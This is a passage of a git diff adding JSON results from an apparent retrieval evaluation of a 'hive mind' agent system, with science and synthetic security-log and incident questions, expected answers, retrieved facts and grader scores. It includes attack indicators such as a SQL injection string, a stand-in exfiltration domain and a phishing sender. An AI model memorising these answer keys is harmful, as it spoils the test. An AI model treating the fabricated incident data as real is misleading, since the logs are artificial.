"nucleotide", + "genetic" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "domain": "biology", + "question": "What do enzymes do?", + "expected_keywords": [ + "catalyst", + "protein" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "domain": "chemistry", + "question": "What is the structure of water?", + "expected_keywords": [ + "H2O", + "bent" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "domain": "chemistry", + "question": "How do covalent bonds work?", + "expected_keywords": [ + "electron", + "share" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.06 + }, + { + "domain": "chemistry", + "question": "What does pH measure?", + "expected_keywords": [ + "hydrogen", + "concentration" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "domain": "physics", + "question": "What is Newton's second law?", + "expected_keywords": [ + "F", + "ma" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.06 + }, + { + "domain": "physics", + "question": "What is the speed of light?", + "expected_keywords": [ + "299792" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "domain": "physics", + "question": "What does E=mc^2 mean?", + "expected_keywords": [ + "mass", + "energy" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "domain": "mathematics", + "question": "What is the Pythagorean theorem?", + "expected_keywords": [ + "a squared", + "b squared", + "c squared" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "domain": "mathematics", + "question": "What does a derivative measure?", + "expected_keywords": [ + "rate", + "change" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.06 + }, + { + "domain": "mathematics", + "question": "What is Pi?", + "expected_keywords": [ + "circumference", + "diameter" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "domain": "computer_science", + "question": "What is the time complexity of binary search?", + "expected_keywords": [ + "log", + "n" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "domain": "computer_science", + "question": "What are ACID properties?", + "expected_keywords": [ + "transaction", + "reliab" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.06 + }, + { + "domain": "computer_science", + "question": "What does CAP theorem state?", + "expected_keywords": [ + "consistency", + "partition" + ], + "hit": false, + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + } + ] +} \ No newline at end of file diff --git a/experiments/hive_mind/eval_security_results.json b/experiments/hive_mind/eval_security_results.json new file mode 100644 index 000000000..82f5b52d6 --- /dev/null +++ b/experiments/hive_mind/eval_security_results.json @@ -0,0 +1,180 @@ +{ + "mode": "live_security", + "summary": { + "total_questions": 13, + "avg_score": 0.0, + "elapsed_s": 195.74, + "hive_namespace": "hive-sb-dj2qo2w7vu5zi", + "topic": "hive-graph", + "timeout_s": 15.0, + "table": "hive_facts" + }, + "category_scores": { + "security_log_analysis": { + "avg_score": 0.0, + "count": 7 + }, + "incident_tracking": { + "avg_score": 0.0, + "count": 6 + } + }, + "questions": [ + { + "question_id": "seclog_01", + "category": "security_log_analysis", + "question": "How many failed SSH logins came from IP 192.168.1.45?", + "expected_answer": "6 failed SSH logins (3 as admin, 3 as root) before a successful login as admin", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.06 + }, + { + "question_id": "seclog_02", + "category": "security_log_analysis", + "question": "What was the brute force attack pattern from 192.168.1.45?", + "expected_answer": "6 failed SSH logins alternating between admin and root users within seconds (14:23:01 to 14:23:18), followed by a successful login as admin at 14:23:22, then a privilege escalation attempt at 14:30:00", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "question_id": "seclog_03", + "category": "security_log_analysis", + "question": "What ports were scanned by 10.0.0.50?", + "expected_answer": "Ports 22, 80, 443, 3306, 5432, 8080, 8443", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "question_id": "seclog_04", + "category": "security_log_analysis", + "question": "What malware was detected on 10.0.0.5 and what lateral movement technique was used?", + "expected_answer": "Cobalt Strike beacon was detected in /tmp/.hidden/payload.exe. Lateral movement via PsExec targeting 10.0.0.6 and 10.0.0.7", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.07 + }, + { + "question_id": "seclog_06", + "category": "security_log_analysis", + "question": "What data exfiltration indicators were detected?", + "expected_answer": "2.3GB data transfer from 172.16.0.100 to external IP 185.220.101.45, anomalous DNS query to data.exfil.evil.com, connection to known C2 server at 185.220.101.45", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "question_id": "seclog_07", + "category": "security_log_analysis", + "question": "What supply chain attack was detected and what CVE was involved?", + "expected_answer": "Malicious dependency in event-stream@5.0.0 package, and CVE-2024-3094 (xz-utils/sshd backdoor)", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.06 + }, + { + "question_id": "seclog_08", + "category": "security_log_analysis", + "question": "What phishing attempt was detected and who was targeted?", + "expected_answer": "Phishing email to hr_inbox with subject 'Urgent: Update your credentials' from support@1egit-company.com (note the '1' instead of 'l')", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "question_id": "incident_01", + "category": "incident_tracking", + "question": "What is the current status of INC-2024-001?", + "expected_answer": "Closed. The ransomware attempt was contained, files restored from backup, attacker C2 blocked, and post-incident review completed with MFA enforced for all admin accounts.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "question_id": "incident_02", + "category": "incident_tracking", + "question": "Which incident involved data exfiltration and how many customers were affected?", + "expected_answer": "INC-2024-002: Data exfiltration via compromised svc_backup service account. 2.3GB exfiltrated, breach notification sent to 15,000 affected customers.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.08 + }, + { + "question_id": "incident_03", + "category": "incident_tracking", + "question": "What APT group was attributed to the development infrastructure attack?", + "expected_answer": "INC-2024-003: TTPs matched APT29 (likely state-sponsored). The attack involved supply chain compromise (event-stream), crypto mining on CI server, DNS tunneling, and xz-utils backdoor (CVE-2024-3094).", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.06 + }, + { + "question_id": "incident_04", + "category": "incident_tracking", + "question": "How was the AWS key exposure in INC-2024-004 resolved?", + "expected_answer": "Key immediately revoked, CloudTrail audit showed key was used 3 times before revocation but no customer data was accessed (only listed buckets). Git-secrets hook deployed to all repos with mandatory pre-commit scanning.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "question_id": "incident_05", + "category": "incident_tracking", + "question": "Which incidents have CVEs associated with them?", + "expected_answer": "INC-2024-001 has CVE-2024-21626, and INC-2024-003 has CVE-2024-3094 (xz-utils backdoor)", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + }, + { + "question_id": "incident_06", + "category": "incident_tracking", + "question": "What was the timeline of the insider threat incident?", + "expected_answer": "INC-2024-006: DLP alert at 14:00 for bulk download of 500+ sensitive documents, account suspended at 14:30, HR/Legal notified and device confiscated at 15:00. User had resigned 2 weeks prior and was downloading competitor-sensitive data. Legal action initiated.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 15.05 + } + ] +} \ No newline at end of file diff --git a/experiments/hive_mind/eval_security_results_final.json b/experiments/hive_mind/eval_security_results_final.json new file mode 100644 index 000000000..28cca53ca --- /dev/null +++ b/experiments/hive_mind/eval_security_results_final.json @@ -0,0 +1,449 @@ +{ + "mode": "live_security", + "summary": { + "total_questions": 13, + "avg_score": 0.254, + "elapsed_s": 107.58, + "hive_namespace": "hive-sb-dj2qo2w7vu5zi", + "topic": "hive-graph", + "timeout_s": 25.0, + "table": "hive_facts" + }, + "category_scores": { + "security_log_analysis": { + "avg_score": 0.214, + "count": 7 + }, + "incident_tracking": { + "avg_score": 0.3, + "count": 6 + } + }, + "questions": [ + { + "question_id": "seclog_01", + "category": "security_log_analysis", + "question": "How many failed SSH logins came from IP 192.168.1.45?", + "expected_answer": "6 failed SSH logins (3 as admin, 3 as root) before a successful login as admin", + "actual_answer": "Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_000] | Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high). [security_logs_001] | Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_002] | Security log [2024-03-15 14:23:12]: Failed SSH login from 192.168.1.45 (user: root, severity: high). [security_logs_003] | Security log [2024-03-15 14:23:15]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_004]", + "score": 0.5, + "reasoning": "The agent correctly identified 5 failed SSH login attempts from IP 192.168.1.45 and provided detailed log entries. However, the expected answer indicates there were 6 failed logins (3 as admin, 3 as root). The agent's data shows only 5 failed attempts (3 as admin, 2 as root) and does not mention the subsequent successful login. This is a significant gap in the count, missing one failed login attempt and the successful login context.", + "result_count": 20, + "top_results": [ + { + "_id": { + "offset": 0, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_000", + "content": "Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "74537069af50" + }, + { + "_id": { + "offset": 1, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_001", + "content": "Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "7cb8aa1f7843" + }, + { + "_id": { + "offset": 2, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_002", + "content": "Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "a9a5207203e6" + } + ], + "elapsed_s": 11.8 + }, + { + "question_id": "seclog_02", + "category": "security_log_analysis", + "question": "What was the brute force attack pattern from 192.168.1.45?", + "expected_answer": "6 failed SSH logins alternating between admin and root users within seconds (14:23:01 to 14:23:18), followed by a successful login as admin at 14:23:22, then a privilege escalation attempt at 14:30:00", + "actual_answer": "Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_000] | Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high). [security_logs_001] | Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_002] | Security log [2024-03-15 14:23:12]: Failed SSH login from 192.168.1.45 (user: root, severity: high). [security_logs_003] | Security log [2024-03-15 14:23:15]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). [security_logs_004]", + "score": 0.5, + "reasoning": "The agent correctly identifies 5 failed SSH login attempts from 192.168.1.45 alternating between admin and root users, with accurate timestamps from 14:23:01 to 14:23:15. However, it's missing the 6th failed login at 14:23:18, the successful login as admin at 14:23:22, and the privilege escalation attempt at 14:30:00. The agent provides relevant content showing the brute force pattern but has significant gaps in the complete attack sequence.", + "result_count": 18, + "top_results": [ + { + "_id": { + "offset": 0, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_000", + "content": "Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "74537069af50" + }, + { + "_id": { + "offset": 1, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_001", + "content": "Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "7cb8aa1f7843" + }, + { + "_id": { + "offset": 2, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_002", + "content": "Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "a9a5207203e6" + } + ], + "elapsed_s": 5.14 + }, + { + "question_id": "seclog_03", + "category": "security_log_analysis", + "question": "What ports were scanned by 10.0.0.50?", + "expected_answer": "Ports 22, 80, 443, 3306, 5432, 8080, 8443", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 2.53 + }, + { + "question_id": "seclog_04", + "category": "security_log_analysis", + "question": "What malware was detected on 10.0.0.5 and what lateral movement technique was used?", + "expected_answer": "Cobalt Strike beacon was detected in /tmp/.hidden/payload.exe. Lateral movement via PsExec targeting 10.0.0.6 and 10.0.0.7", + "actual_answer": "Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. [security_logs_008] | Security log [2024-03-15 15:05:00]: SQL injection attempt from 10.0.0.50 (user: N/A, severity: critical). target: /api/v1/users?id=1 OR 1=1. [security_logs_009] | Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100. [security_logs_010] | Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150. [security_logs_018] | Security log [2024-03-16 10:00:00]: Malware signature detected from 10.0.0.5 (user: N/A, severity: critical). malware: Cobalt Strike beacon. file: /tmp/.hidden/payload.exe. [security_logs_019]", + "score": 0.5, + "reasoning": "The agent correctly identified the malware (Cobalt Strike beacon) and file location (/tmp/.hidden/payload.exe) on 10.0.0.5, but completely failed to answer the second part of the question about the lateral movement technique. The expected answer indicates PsExec was used to target 10.0.0.6 and 10.0.0.7, but the agent provided only raw security logs without extracting or mentioning this critical information. This is a significant gap in a two-part L1 recall question.", + "result_count": 20, + "top_results": [ + { + "_id": { + "offset": 8, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_008", + "content": "Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "8cf8f6737ff5" + }, + { + "_id": { + "offset": 9, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_009", + "content": "Security log [2024-03-15 15:05:00]: SQL injection attempt from 10.0.0.50 (user: N/A, severity: critical). target: /api/v1/users?id=1 OR 1=1.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "a83223fcd4fb" + }, + { + "_id": { + "offset": 10, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_010", + "content": "Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "f48b2fa5c0e7" + } + ], + "elapsed_s": 14.52 + }, + { + "question_id": "seclog_06", + "category": "security_log_analysis", + "question": "What data exfiltration indicators were detected?", + "expected_answer": "2.3GB data transfer from 172.16.0.100 to external IP 185.220.101.45, anomalous DNS query to data.exfil.evil.com, connection to known C2 server at 185.220.101.45", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 1.27 + }, + { + "question_id": "seclog_07", + "category": "security_log_analysis", + "question": "What supply chain attack was detected and what CVE was involved?", + "expected_answer": "Malicious dependency in event-stream@5.0.0 package, and CVE-2024-3094 (xz-utils/sshd backdoor)", + "actual_answer": "Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. [security_logs_024] | Security log [2024-03-17 00:00:00]: Crypto mining process detected from 10.0.0.11 (user: N/A, severity: high). process: xmrig. cpu usage: 95%. [security_logs_025] | Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil. [security_logs_028] | Security log [2024-03-17 10:00:00]: Phishing email detected from 10.0.5.1 (user: hr_inbox, severity: high). subject: Urgent: Update your credentials. sender: support@1egit-company.com. [security_logs_029] | Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. [incidents_030]", + "score": 0.0, + "reasoning": "The agent's answer does not address the question. The expected answer requires identifying a supply chain attack involving the event-stream@5.0.0 package and CVE-2024-3094 (xz-utils/sshd backdoor). Instead, the agent provided unrelated security logs about database dumps, crypto mining, phishing emails, and a ransomware incident with CVE-2024-21626. This is a different CVE and incident type entirely, with no mention of supply chain attacks, event-stream, or the xz-utils backdoor.", + "result_count": 19, + "top_results": [ + { + "_id": { + "offset": 11, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_024", + "content": "Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "484078dae27b" + }, + { + "_id": { + "offset": 12, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_025", + "content": "Security log [2024-03-17 00:00:00]: Crypto mining process detected from 10.0.0.11 (user: N/A, severity: high). process: xmrig. cpu usage: 95%.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "abdf7b555ffd" + }, + { + "_id": { + "offset": 15, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_028", + "content": "Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "1b83ea993a15" + } + ], + "elapsed_s": 12.13 + }, + { + "question_id": "seclog_08", + "category": "security_log_analysis", + "question": "What phishing attempt was detected and who was targeted?", + "expected_answer": "Phishing email to hr_inbox with subject 'Urgent: Update your credentials' from support@1egit-company.com (note the '1' instead of 'l')", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 1.72 + }, + { + "question_id": "incident_01", + "category": "incident_tracking", + "question": "What is the current status of INC-2024-001?", + "expected_answer": "Closed. The ransomware attempt was contained, files restored from backup, attacker C2 blocked, and post-incident review completed with MFA enforced for all admin accounts.", + "actual_answer": "Agent identity: agent-79. Role: You are a distributed hive mind agent. You are agent 79. | [LEARN_CONTENT turn=29] Security log [2024-03-17 10:00:00]: Phishing email detected from 10.0.5.1 (user: hr_inbox, severity: high). subject: Urgent: Update your credentials. sender: support@1egit-company.com. | [LEARN_CONTENT turn=30] Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. | [LEARN_CONTENT turn=31] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled. | [LEARN_CONTENT turn=32] Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed.", + "score": 0.5, + "reasoning": "The agent correctly identifies INC-2024-001 as a ransomware attempt with severity critical and affected systems, and states status as 'contained'. However, the expected answer indicates the status should be 'Closed' with additional details about files restored from backup, attacker C2 blocked, and post-incident review completed with MFA enforcement. The agent only provided partial information from an earlier stage of the incident (turn 30) showing 'contained' status, missing the closure details and remediation actions. This represents significant gaps in the complete status update.", + "result_count": 10, + "top_results": [ + { + "content": "Agent identity: agent-79. Role: You are a distributed hive mind agent. You are agent 79." + }, + { + "content": "[LEARN_CONTENT turn=29] Security log [2024-03-17 10:00:00]: Phishing email detected from 10.0.5.1 (user: hr_inbox, severity: high). subject: Urgent: Update your credentials. sender: support@1egit-company.com." + }, + { + "content": "[LEARN_CONTENT turn=30] Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network." + } + ], + "elapsed_s": 22.93 + }, + { + "question_id": "incident_02", + "category": "incident_tracking", + "question": "Which incident involved data exfiltration and how many customers were affected?", + "expected_answer": "INC-2024-002: Data exfiltration via compromised svc_backup service account. 2.3GB exfiltrated, breach notification sent to 15,000 affected customers.", + "actual_answer": "Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. [security_logs_011] | Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com. [security_logs_012] | Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. [security_logs_024] | Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil. [security_logs_028] | Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. [incidents_030]", + "score": 0.3, + "reasoning": "The agent provided security logs showing data exfiltration activities (2.3GB transfer from svc_backup account) and mentions incident INC-2024-001, but this incident is about ransomware, not data exfiltration. The agent failed to identify INC-2024-002 as the correct incident and completely missed the key information about 15,000 affected customers requiring breach notification. While some relevant technical details about exfiltration are present, the agent did not answer the core question about which incident number involved data exfiltration and how many customers were affected.", + "result_count": 33, + "top_results": [ + { + "_id": { + "offset": 11, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_011", + "content": "Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "ff04b566e82e" + }, + { + "_id": { + "offset": 12, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_012", + "content": "Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "1721e9ad7037" + }, + { + "_id": { + "offset": 24, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_024", + "content": "Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "484078dae27b" + } + ], + "elapsed_s": 12.19 + }, + { + "question_id": "incident_03", + "category": "incident_tracking", + "question": "What APT group was attributed to the development infrastructure attack?", + "expected_answer": "INC-2024-003: TTPs matched APT29 (likely state-sponsored). The attack involved supply chain compromise (event-stream), crypto mining on CI server, DNS tunneling, and xz-utils backdoor (CVE-2024-3094).", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 2.02 + }, + { + "question_id": "incident_04", + "category": "incident_tracking", + "question": "How was the AWS key exposure in INC-2024-004 resolved?", + "expected_answer": "Key immediately revoked, CloudTrail audit showed key was used 3 times before revocation but no customer data was accessed (only listed buckets). Git-secrets hook deployed to all repos with mandatory pre-commit scanning.", + "actual_answer": "Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. [security_logs_024] | Incident Report INC-2024-004: Cloud credential exposure in public repository. Status: active. Severity: high. Affected systems: AWS-PROD-ACCOUNT, S3-CUSTOMER-DATA. IOCs: AKIA*, prod-customer-data. CVEs: None identified. Timeline: 2024-03-17 12:00: AWS key found in public GitHub repository; 2024-03-17 12:05: Key immediately revoked via AWS console; 2024-03-17 12:15: CloudTrail audit initiated for key usage. [incidents_033] | Incident update INC-2024-004: Status changed from active to investigating. Detail: Key was used 3 times from unknown IP before revocation. [incidents_038] | Incident update INC-2024-004: Status changed from investigating to contained. Detail: S3 access logs show no customer data accessed; key only listed buckets. [incidents_045] | Incident update INC-2024-004: Status changed from contained to closed. Detail: Git-secrets hook deployed to all repos; mandatory pre-commit scanning. [incidents_050]", + "score": 1.0, + "reasoning": "The agent's answer contains all key resolution steps from the expected answer: immediate key revocation, CloudTrail audit showing 3 uses before revocation, confirmation that no customer data was accessed (only bucket listing), and deployment of git-secrets hooks with mandatory pre-commit scanning. The agent includes additional contextual information (timestamps, status changes, IPs) from the incident logs, but the core resolution details are complete and accurate.", + "result_count": 34, + "top_results": [ + { + "_id": { + "offset": 24, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_024", + "content": "Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "04c6eb74fc49" + }, + { + "_id": { + "offset": 33, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_033", + "content": "Incident Report INC-2024-004: Cloud credential exposure in public repository. Status: active. Severity: high. Affected systems: AWS-PROD-ACCOUNT, S3-CUSTOMER-DATA. IOCs: AKIA*, prod-customer-data. CVEs: None identified. Timeline: 2024-03-17 12:00: AWS key found in public GitHub repository; 2024-03-17 12:05: Key immediately revoked via AWS console; 2024-03-17 12:15: CloudTrail audit initiated for key usage.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "69dc3b28e153" + }, + { + "_id": { + "offset": 38, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_038", + "content": "Incident update INC-2024-004: Status changed from active to investigating. Detail: Key was used 3 times from unknown IP before revocation.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "700bcb2981a6" + } + ], + "elapsed_s": 10.78 + }, + { + "question_id": "incident_05", + "category": "incident_tracking", + "question": "Which incidents have CVEs associated with them?", + "expected_answer": "INC-2024-001 has CVE-2024-21626, and INC-2024-003 has CVE-2024-3094 (xz-utils backdoor)", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 4.06 + }, + { + "question_id": "incident_06", + "category": "incident_tracking", + "question": "What was the timeline of the insider threat incident?", + "expected_answer": "INC-2024-006: DLP alert at 14:00 for bulk download of 500+ sensitive documents, account suspended at 14:30, HR/Legal notified and device confiscated at 15:00. User had resigned 2 weeks prior and was downloading competitor-sensitive data. Legal action initiated.", + "actual_answer": "Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. [incidents_030] | Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled. [incidents_031] | Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain 